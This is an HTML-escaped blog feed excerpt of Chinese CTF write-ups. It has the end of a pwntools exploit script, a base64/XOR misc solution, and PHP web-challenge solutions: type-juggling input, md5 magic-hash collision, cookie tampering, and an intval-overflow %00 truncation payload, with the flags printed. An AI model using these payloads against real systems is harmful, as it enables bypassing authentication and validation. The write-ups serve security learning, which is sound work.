&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3fb999999999999a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;--------------&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;you.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;payload1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;interactive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;close&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;misc&quot;&gt;misc&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;迟来的签到题&quot;&gt;迟来的签到题&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{2F64B7656E77E0A0743C02ECAE9E2513}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;txt&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中乱码最后一个有等号，推测是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Base64。解码后仍是乱码，提示&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;xor，让每一位和一个数异或，爆破在结果中找符合&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;形式的提交。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;#!&#x2F;usr&#x2F;bin&#x2F;env python&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# -*- coding: utf-8 -*-&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; base64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;mess&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;AAoHAR1UIFBSJFFQU1AjUVEjVidWUVJVJVZUIyUnI18jVFNXVRs=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;aft&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; base64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;b64decode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;mess&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;aft&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;aft&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; encoding&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;utf8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;aft&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 200&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; aft&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; end&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;护网临时工
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;护网临时工&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>PHP2</title>
    <published>2018-08-19T11:27:24+08:00</published>
    <updated>2018-08-19T11:27:24+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/php2/" type="text/html" />
    <id>https://emptystack.top/php2/</id>
    <content type="html">
      &lt;h2 id=&quot;bugku&quot;&gt;bugku&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;矛盾&quot;&gt;矛盾&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{bugku-789-ps-ssdf}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;看代码，要求输入一个不是数字、数字字符串，同时还&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;==1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的东西。&lt;&#x2F;p&gt;
&lt;p&gt;PPT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里“字符串到数字”有说数字&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;+&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;字符串等于那个数字，所以输入类似&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1admin&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的字符串就可以了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cgctf&quot;&gt;cgctf&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;md5_collision&quot;&gt;md5 collision&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;nctf{md5_collision_is_easy}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;这个PPT里有一模一样的：md5(&amp;#39;240610708&amp;#39;)&quot;&gt;这个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PPT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里有一模一样的：md5(&#x27;240610708&#x27;)&lt;&#x2F;h1&gt;
&lt;p&gt;md5(&#x27;QNKCDZO&#x27;)，所以输入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;?a=240610708&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就可以得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;PHP_decode_&amp;gt;nctf&quot;&gt;PHP decode &amp;gt;nctf&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;base64_decode()&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不用多说，是解码；&lt;code&gt;gzinflate&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;查了下也是解码——那整个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CLsI&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数不就是解码么？把整个复制下来写进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;.php，最后改成：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; eval&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;xxx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;var_dump&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;($&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;按理来说就可以了，但每回一访问就说“该网页无法正常运作。localhost&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;目前无法处理此请求。HTTP
ERROR 500&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;气死，命令行里一行一行输，就出结果了。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; php&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -a&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;Interactive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; mode enabled&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;php&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $ZzvSWE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;php&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $ZzvSWE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; = gzinflate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;base64_decode($ZzvSWE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;php&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; ($i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; strlen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;$ZzvSWE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;php&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $ZzvSWE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;$i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;] = chr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;ord($ZzvSWE[$i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;php&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; { }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;php&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; var_dump&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;$ZzvSWE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;string(44&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;phpinfo();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;flag:nctf{gzip_base64_hhhhhh}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;COOKIE&quot;&gt;COOKIE&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;nctf{cookie_is_different_from_session}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;网页叫我登录，但没看到登录框，F12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也一片空白。既然题目叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;COOKIE，就看了眼&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;COOKIE，发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;login&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;value&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0。&lt;&#x2F;p&gt;
&lt;p&gt;好像没法直接改，就用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Burp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;抓包，和刚讲&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Burp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时那道&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;admin&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一样，改成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就好了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shiyanbar&quot;&gt;shiyanbar&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;你真的会PHP吗？&quot;&gt;你真的会&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PHP&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;吗？&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG{2dd8711082fe24c19ae8}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;header，还有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;hint，是个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;txt，所以改网址为该&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;txt&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;看到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PHP&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;源代码。&lt;&#x2F;p&gt;
&lt;p&gt;$_POST[&#x27;number&#x27;]&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;已设置且不为空，不能是数字，转成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;int&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;再转成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;str&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还得和本身相等。紧接着既得是回文数还不能是回文数，自己试了几个都被卡住了，就上网查&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;WP&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。&lt;&#x2F;p&gt;
&lt;p&gt;新火狐的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;hackbar&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有问题，POST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;人家的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;payload&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都过不了，写脚本也不行。董斌让我用在线的，成了。换了一个在线网站，又不行了……&lt;&#x2F;p&gt;
&lt;p&gt;总之&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;WP&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的思路是用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;intval&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;溢出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;+%00&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;截断，post
number=2147483647%00。因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;%00&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的缘故，is_numeric&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会返回&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;false。strrev&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2147483647&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;变为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;7463847412，它大于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;32&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;位系统&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;int&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;最大值所以还是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2147483647（难道不应该变负的么&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，绕过第一个“是回文数”的检验。显而易见，第二个回文数检验也是可以通过的。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
